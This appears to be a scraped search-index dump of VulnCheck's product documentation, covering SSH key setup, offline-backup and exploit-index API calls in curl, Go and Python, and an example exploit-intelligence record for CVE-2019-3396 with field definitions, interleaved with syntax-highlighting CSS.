.sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178},{id:25,title:24,titles:582,content:583,level:528},,Upload your SSH public key to the VulnCheck platform to clone git repositories from git.vulncheck.com. All of our git repositories can be accessed via SSH keys. This guide will walk you through the process of generating a new SSH key and adding it to your VulnCheck account.,{id:585,title:586,titles:587,content:588,level:174},/getting-started/ssh-keys#generating-a-new-ssh-key,Generating a new SSH key,24,You need to generate a new SSH key and add it to your VulnCheck account. To do so, follow the instructions below: Open a terminal windowDecide which algorithm to use then paste the text below, substituting in your email address.ssh-keygen -t ed25519 -C \your_email@example.com\\nssh-keygen -t rsa -b 4096 -C \your_email@example.com\\nThis creates a new SSH key, using the provided email as a label. You should see a message on the screen similar to:Generating public/private ALGORITHM key pair.\nWhen youre prompted to \Enter a file in which to save the key\, you can press Enter to accept the default file location. Please note that if you created SSH keys previously, ssh-keygen may ask you to rewrite another key, in which case we recommend creating a custom-named SSH key. To do so, type the default file location and replace id_ssh_keyname with your custom key name. You should see a message on the screen similar to:Enter a file in which to save the key (/c/Users/USERNAME/.ssh/id_rsa):\nAt the prompt, which appears as follows, type a secure passphrase:Enter passphrase (empty for no passphrase): Type a passphrase\nEnter same passphrase again: Type passphrase again,{id:590,title:591,titles:592,content:593,level:174},/getting-started/ssh-keys#adding-your-new-ssh-key,Adding your new SSH key,24,Once you have your ssh key generated, you need to add it to your VulnCheck account. To do so, follow the instructions below: Navigate to the Tokens & SSH Keys page under your user profile in the top right.Click on the Add SSH Key button in the SSH Keys section.Specify a Label for this new key - this will be used to identify the key in the futureCopy the contents of the public key file (ex: id_rsa.pub) and paste it into the \SSH Key\ field,{id:595,title:596,titles:597,content:598,level:174},/getting-started/ssh-keys#testing-your-ssh-key,Testing your SSH Key,24,Once you have added your SSH key to your VulnCheck account, you can test it by cloning a repository. Here are some optional ways to do so:,{id:600,title:601,titles:602,content:603,level:542},/getting-started/ssh-keys#using-the-ssh-command,Using the SSH command,24,596,You can specify the SSH command that git uses when you do a git clone. To do so, follow the instructions below: Open a terminalType the following command, substituting in the location of the private key you created earlier.GIT_SSH_COMMANDssh -i ./sshkey \\ \n  git clone git@git.vulncheck.com:bitbucket.org/mburr/cve-2015-7547.git\nThe repository should be cloned successfully, you should see something similar to:Cloning into cve-2015-7547...\nremote: Enumerating objects: 18, done.\nremote: Counting objects: 100% (18/18), done.\nremote: Compressing objects: 100% (17/17), done.\nremote: Total 18 (delta 0), reused 15 (delta 0), pack-reused 0\nReceiving objects: 100% (18/18), 50.11 KiB | 1.39 MiB/s, done.,{id:605,title:606,titles:607,content:608,level:542},/getting-started/ssh-keys#adding-your-ssh-key-to-the-ssh-agent,Adding your SSH Key to the SSH Agent,24,596,You can add your SSH key to your SSH agent, so that you dont have to specify the SSH command every time you clone a repository. To do so, follow the instructions below: Add your new key to the ssh-agentssh-add ./sshkey\nYou can then confirm your key has been added, run the following command:ssh-add -l\nThis should print the fingerprint of your new key.  You may compare this fingerprint with the list of SSH keys on the token section to confirm it is the correct key. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8},{id:30,title:29,titles:610,content:611,level:528},,The VulnCheck platform provides licensed customers offline backups of hundreds of available data sets. Numerous categories and types of offline backups are available via the VulnCheck platform. Details on types of offline backups available are below. All major data sets are available via the VulnCheck platform are available via cloud-based API live lookups or via offline backups. Note: Offline backups are only available to those customers who have purchased a subscription license. Most customers evaluating the service leverage the API to make live lookups one query at a time, such as checking for whether exploits exist for a given CVE.,{id:613,title:614,titles:615,content:616,level:174},/getting-started/offline-backups#list-of-offline-backups-available,List of Offline Backups Available,29,To get a list of offline backups available, simply call this /v3/backup API as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupGet(auth).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_get()\n    for value in api_response.data:\n        print(value.href),{id:618,title:619,titles:620,content:621,level:174},/getting-started/offline-backups#request-an-offline-backup,Request an Offline Backup,29,To request a specific offline backup, simply call /v3/backup/:index as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/vulncheck-nvd2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \vulncheck-nvd2\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\vulncheck-nvd2\)\n\n    print(api_response.data0.url)\nvulncheck backup download vulncheck-nvd2 The above example requests an offline backup for the \vulncheck-nvd2\ index, which is the NIST NVD 2.0 data with VulnCheck extensions. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:36,title:40,titles:623,content:624,level:528},,Learn about our products Leverage Exploit & Vulnerability Intelligence to make better decisions on which vulnerabilities need immediate remediation.Leverage Initial Access Intelligence detection artifacts to detect & respond to remote code execution (RCE) vulnerabilities.IP Intelligence data on potentially vulnerable systems, attacker command & control infrastructure (C2), honeypots, and more.,{id:44,title:48,titles:626,content:627,level:528},,The VulnCheck Exploit & Vulnerability Intelligence product helps organizations enrich their existing vulnerability reporting and solve the vulnerability prioritization challenge. VulnCheck Exploit & Vulnerability Intelligence replaces the need to correlate vulnerability intelligence across hundreds of sources such as the NIST National Vulnerability Database (NVD), CVElist, the CISA KEV catalog, etc. By integrating with VulnCheck Exploit & Vulnerability Intelligence, youre integrating with an Open Source Intelligence (OSINT) product that has best-in-class information, in a timely manner, on vulnerability exploitation and vulnerabilities generally. Unlike alternative vulnerability intelligence approaches, the VulnCheck platform and VulnCheck Exploit & Vulnerability Intelligence product is built from a fully autonomous system in software. Organizations leverage VulnCheck Exploit & Vulnerability Intelligence to make better decisions on which vulnerabilities need immediate remediation. Unlike other vulnerability databases, VulnCheck includes the latest information on a wider range of vulnerabilities, including: Vulnerabilities in Open Source packages / dependenciesVulnerabilities in ICS/OT, IoMT, IoT, mobile, etc., devices Most importantly, unlike other purely vulnerability-centric solutions, VulnCheck marries exploit intelligence with vulnerability intelligence. By coupling exploit intelligence with vulnerability intelligence, better insights into vulnerability prioritization & remediation can be gained.,{id:629,title:630,titles:631,content:632,level:174},/products/exploit-and-vulnerability-intelligence#vulncheck-exploit-intelligence,VulnCheck Exploit Intelligence,48,VulnCheck Exploit Intelligence includes a wide range of features designed to help understand the state of vulnerability exploitation. Such features include, but are not limited to: Monitoring of Git repositories, blog posts and other sources for new exploit PoCsReview and validation of exploit PoCsCaching of exploit PoCsExploit Maturity classificationExploit Type classificationEvidence of exploitation in-the-wildExploit/Exploitation timelinesRansomware families, threat actor, botnet, and exploit counts,{id:634,title:635,titles:636,content:637,level:174},/products/exploit-and-vulnerability-intelligence#vulncheck-vulnerability-intelligence,VulnCheck Vulnerability Intelligence,48,VulnCheck Vulnerability Intelligence includes unique intelligence and enrichment, typically unavailable in other alternative sources, such as: Categorization (e.g., ICS/OT, IoMT, IoT, Mobile, Server Software, etc.)Faster & Cleaner Common Platform Enumeration(CPE)Vulnerability Scoring\nCVSS Temporal Enrichment (CVSS-BT) / CVSS V4 EnrichmentEPSS EnrichmentSSVC GenerationMITRE Mapping\nMITRE ATT&CKMITRE Attack Patterns (CAPEC)CWE associations for pre-2008 CVEsBroader vendor advisory referencesBroader vulnerability database referencesBroader exploit referencesAbility to query by Package URL (purl) / CPEVulnerability StatusLess broken links,{id:52,title:51,titles:639,content:640,level:528},,Leverage best-in-class exploit intelligence from VulnCheck to understand the state of vulnerability exploitation for a given vulnerability. VulnCheck Exploit & Vulnerability Intelligence replaces the need to have separate scripts for downloading the NIST National Vulnerability Database (NVD), the CISA KEV catalog, etc. By integrating with VulnCheck Exploit & Vulnerability Intelligence, youre integrating with an Open Source Intelligence (OSINT) product that has best-in-class information, in a timely manner, on vulnerability exploitation and vulnerabilities generally. Most importantly, unlike other purely vulnerability-centric solutions, VulnCheck marries exploit intelligence with vulnerability intelligence. By coupling exploit intelligence with vulnerability intelligence, better insights into vulnerability prioritization & remediation can be gained. On the exploitation side, VulnCheck Exploit & Vulnerability Intelligence include a wide range of features designed to help understand the state of vulnerability exploitation. Such features include, but are not limited to: Monitoring of Git repositories, blog posts and other sources for new exploit PoCsReview and validation of exploit PoCsCaching of exploit PoCsExploit Maturity classificationExploit Type classificationEvidence of known exploitation/exploitation in-the-wildExploit/Exploitation timelinesRansomware families, threat actor, botnet, and exploit counts,{id:642,title:643,titles:644,content:645,level:174},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#example-exploit-record,Example Exploit Record,51,The VulnCheck API makes it easy to get started with VulnCheck Exploit & Vulnerability Intelligence. To start, simply query the exploits index via the /v3/index/:index?cve:cve API as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/index/exploits?cveCVE-2019-3396 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.IndicesAPI.IndexExploitsGet(auth).Cve(\CVE-2019-3396\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    indices_client  vulncheck_sdk.IndicesApi(api_client)\n\n    api_response  indices_client.index_exploits_get(cve\CVE-2019-3396\)\n\n    print(api_response.data)\nvulncheck index browse exploits --cve CVE-2019-3396 The above example searches the exploits index for information on CVE-2019-3396.,{id:647,title:648,titles:649,content:650,level:542},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#example-api-response-for-exploits-by-cve,Example API Response for Exploits by CVE,51,643,After calling the /v3/index/exploits?cve:cve API endpoint with a valid CVE identifier, a response similar to the below will be returned: {\n  \_benchmark\: 0.055187,\n  \_meta\: {\n    \index\: \exploits\,\n    // ...\n  },\n  \data\: \n    {\n      \id\: \CVE-2019-3396\,\n      \public_exploit_found\: true,\n      \commercial_exploit_found\: true,\n      \weaponized_exploit_found\: true,\n      \max_exploit_maturity\: \weaponized\,\n      \reported_exploited\: true,\n      \reported_exploited_by_threat_actors\: true,\n      \reported_exploited_by_ransomware\: true,\n      \reported_exploited_by_botnets\: true,\n      \inKEV\: true,\n      \timeline\: {\n        \nvd_published\: \2019-03-25T19:29:00Z\,\n        \nvd_last_modified\: \2021-12-13T16:05:00Z\,\n        \first_exploit_published\: \2019-03-25T00:00:00Z\,\n        \first_exploit_published_weaponized_or_higher\: \2019-04-11T00:00:00Z\,\n        \most_recent_exploit_published\: \2021-05-01T02:10:04Z\,\n        \first_reported_threat_actor\: \2019-08-19T00:00:00Z\,\n        \most_recent_reported_threat_actor\: \2021-01-01T00:00:00Z\,\n        \first_reported_ransomware\: \2019-04-23T00:00:00Z\,\n        \most_recent_reported_ransomware\: \2022-06-22T00:00:00Z\,\n        \first_reported_botnet\: \2019-04-26T00:00:00Z\,\n        \most_recent_reported_botnet\: \2022-04-27T00:00:00Z\,\n        \cisa_kev_date_added\: \2021-11-03T00:00:00Z\,\n        \cisa_kev_date_due\: \2022-05-03T00:00:00Z\\n      },\n      \trending\: {\n        \github\: false\n      },\n      \epss\: {\n        \epss_score\: 0.97498,\n        \epss_percentile\: 0.9996,\n        \last_modified\: \2023-08-15T13:49:54.769353Z\\n      },\n      \counts\: {\n        \exploits\: 22,\n        \threat_actors\: 3,\n        \botnets\: 3,\n        \ransomware_families\: 4\n      },\n      \exploits\: \n        {\n          \url\: \https://packetstormsecurity.com/files/161065/Atlassian-Confluence-6.12.1-Template-Injection.html\,\n          \name\: \Atlassian Confluence 6.12.1 Template Injection\,\n          \refsource\: \packetstorm\,\n          \date_added\: \2021-01-22T00:00:00Z\,\n          \exploit_maturity\: \poc\,\n          \exploit_availability\: \publicly-available\\n        },\n        {\n          \url\: \https://packetstormsecurity.com/files/152568/Atlassian-Confluence-Widget-Connector-Macro-Velocity-Template-Injection.html\,\n          \name\: \Atlassian Confluence Widget Connector Macro Velocity Template Injection\,\n          \refsource\: \packetstorm\,\n          \date_added\: \2019-04-18T00:00:00Z\,\n          \exploit_maturity\: \poc\,\n          \exploit_availability\: \publicly-available\\n        }\n        // ...\n      ,\n      \reported_exploitation\: \n        {\n          \url\: \https://cisa.gov/news-events/cybersecurity-advisories/aa21-209a\,\n          \name\: \Top Routinely Exploited Vulnerabilities\,\n          \refsource\: \cisa-alerts\,\n          \date_added\: \2021-08-20T00:00:00Z\\n        },\n        {\n          \url\: \https://us-cert.cisa.gov/ncas/alerts/aa20-275a\,\n          \name\: \Potential for China Cyber Response to Heightened U.S.–China Tensions\,\n          \refsource\: \cisa-alerts\,\n          \date_added\: \2020-10-20T00:00:00Z\\n        }\n        // ...\n      \n    }\n  \n} The above example response shows what the exploits index returns for CVE-2019-3396.,{id:652,title:653,titles:654,content:655,level:174},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#exploits-attribute-details,Exploits Attribute Details,51,AttributeMeaningidCVE IDpublic_exploit_foundA public exploit has been discoveredcommercial_exploit_foundA commercial exploit is privately for sale as part of a commercial offeringweaponized_exploit_foundWeaponized refers to an exploit that is explicitly malicious, such as cases where the exploit is contained within malware (e.g., a malicious Microsoft Word document), has been reported as exploited in the wild, or facilitates \point & click\ exploitation (e.g., works against all or most targets and works reliably, such as exploits in MetaSploit, VulnCheck Initial Access Intelligence, CANVAS, or Core Impact). Additionally, weaponized exploits typically have secondary payloads, droppers, or implants.reported_exploitedReported Exploitation has been confirmed and the vulnerability is known to be exploited / exploited in the wild.reported_exploited_by_threat_actorsA threat actor has been attributed with the vulnerability.reported_exploited_by_ransomwareThe vulnerability has been used in a ransomware campaign.reported_exploited_by_botnetsOne or more Botnets has been attributed to the vulnerability.inKEVIs included in the CISA KEV (Known Exploited Vulnerabilities) catalog.inVCKEVIs included in the VulnCheck KEV (Known Exploited Vulnerabilities) catalog.,{id:657,title:658,titles:659,content:660,level:542},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#exploit-maturity,Exploit Maturity,51,653,max_exploit_maturityMeaningWeaponizedWeaponized refers to an exploit that is explicitly malicious, such as cases where the exploit is contained within malware (e.g., a malicious Microsoft Word document), has been reported as exploited in the wild, or facilitates \point & click\ exploitation (e.g., works against all or most targets and works reliably, such as exploits in MetaSploit, VulnCheck Initial Access Intelligence, CANVAS, or Core Impact). Additionally, weaponized exploits typically have secondary payloads, droppers, or implants.POC\POC\ (proof of concept), is currently anything that can be used to demonstrate exploitation. This can be a blog post, a curl request, a python script, etc.,{id:662,title:663,titles:664,content:665,level:542},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#exploit-timeline,Exploit Timeline,51,653,Timeline AttributeMeaningnvd_publishedWhen NVD Published the vulnerability.nvd_last_modifiedWhen NVD last modified the vulnerabilityfirst_exploit_publishedWhen the first exploit was publishedfirst_exploit_published_weaponized_or_higherWhen the first weaponized exploit or exploitation evidence was available.most_recent_exploit_publishedWhen the last exploit was publishedfirst_reported_threat_actorWhen the first threat actor was reportedmost_recent_reported_threat_actorWhen the most recent threat actor was reportedfirst_reported_ransomwareWhen ransomware was first reportedmost_recent_reported_ransomwareWhen ransomware was most recently reportedfirst_reported_botnetWhen a botnet was first reportedmost_recent_reported_botnetWhen a botnet was most recently reportedcisa_kev_date_addedWhen the CVE was added to CISA KEVcisa_kev_date_dueCISA KEVs due datevulncheck_kev_date_addedWhen first known exploitation was reported * timeline attributes are omitted if there is no evidence or a null date present.,{id:667,title:668,titles:669,content:670,level:542},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#epss,EPSS,51,653,EPSS AttributeMeaningepss_scoreThe EPSS scoreepss_precentileThe EPSS percentile,{id:672,title:673,titles:674,content:675,level:542},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#counts,Counts,51,653,Counts AttributeMeaningexploitsThe total number of exploits discovered.threat_actorsThe total number of threat actors attributed.botnetsThe total number of botnets attributed.ransomwareThe total number of ransomware campaigns using the vulnerability.,{id:677,title:678,titles:679,content:680,level:542},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#exploit-type-classification,Exploit Type Classification,51,653,VulnCheck Exploit & Vulnerability Intelligence maintains a Exploit Type field in the block of exploits that are indexed. The Exploit Type field helps distinguish between high impact exploits, like initial access exploits, and lower impact exploits, like denial of service exploits.,{id:682,title:683,titles:684,content:685,level:686},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#exploit-type-definitions,Exploit Type Definitions,51,653,678,Exploit TypeMeaningInitial AccessInitial Access exploits are typically the most high impact exploit published. These vulnerabilities, also sometimes referred to as Remote Code Execution (RCE) vulnerabilities, are remote in nature, and typically do not require credentials to exploit.Remote with credentialsRemote with credentials exploits are exploits that are remote, typically targeting network-bound applications, but require credentials to exploit.LocalExamples of local exploits include those targeting setuid binaries on Linux.Client-sideExamples of client-side exploits include those targeting client applications, such as Microsoft Word or Excel.InfoleakInfoleak exploits leak data from a target, without compromising the integrity of such a target.Denial of ServiceDenial of Service exploits typically cause a service or application to crash. Note: Often a denial-of-service exploit targets an initial-access vulnerability, prior to an initial-access exploit being posted.,4,{id:688,title:689,titles:690,content:691,level:542},/products/exploit-and-vulnerability-intelligence/exploit-intelligence#exploit-availability,Exploit Availability,51,653,Exploit AvailabilityMeaningcommercially-availableThe exploit is commercially available such as VulnCheck Initial Access exploits and Core Impact exploits.publicly-availableThe exploit is publicly available such as git based exploits, blog posts, Metasploit modules and Nuclei templates.privately-availableThe exploit is not available publicly or commercially. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic},{id:57,title:56,titles:693,content:694,level:528},,Leverage the vulnerability intelligence features within VulnCheck Exploit & Vulnerability Intelligence to get the industrys fastest and most comprehensive vulnerability intelligence available and solve the vulnerability prioritization challenge today. VulnCheck Vulnerability Intelligence service provides vulnerability enrichment, CPE Enrichment, CVSS temporal scores, vulnerability categorization data, and embeds rich exploit intelligence to go well above and beyond what the NIST NVD provides. VulnCheck Vulnerability Intelligence is an autonomous system that tracks hundreds of vendor and government advisories, and then marries that data with best-in-class exploit intelligence from VulnCheck. Unlike other vulnerability databases, VulnCheck includes the latest information on a wider range of vulnerabilities, including: Vulnerabilities in Open Source packages / dependenciesVulnerabilities in ICS/OT, IoMT, IoT, mobile, etc., devices VulnCheck Exploit & Vulnerability Intelligence also includes unique fields, typically unavailable in other alternative sources, such as: Categorization (e.g., ICS/OT, IoMT, IoT, Mobile, Server Software, etc.)Faster & Cleaner Common Platform Enumeration(CPE)CVSS Temporal Enrichment (CVSS-BT) / CVSS V4 EnrichmentMitre Att&ck mappings, mitigations, detections, and d3fend techniquesMITRE Attack Patterns (CAPEC) mappingsCWE associations for pre-2008 CVEsMore vendor advisory referencesMore vulnerability database referencesMore exploit referencesLess broken linksEPSS EnrichmentAbility to query by Package URL (purl)Vulnerability Status,{id:696,title:697,titles:698,content:699,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#download-vulncheck-nvd2,Download vulncheck-nvd2,56,The VulnCheck API makes it easy to download VulnCheck Vulnerability Intelligence. To start, simply query the 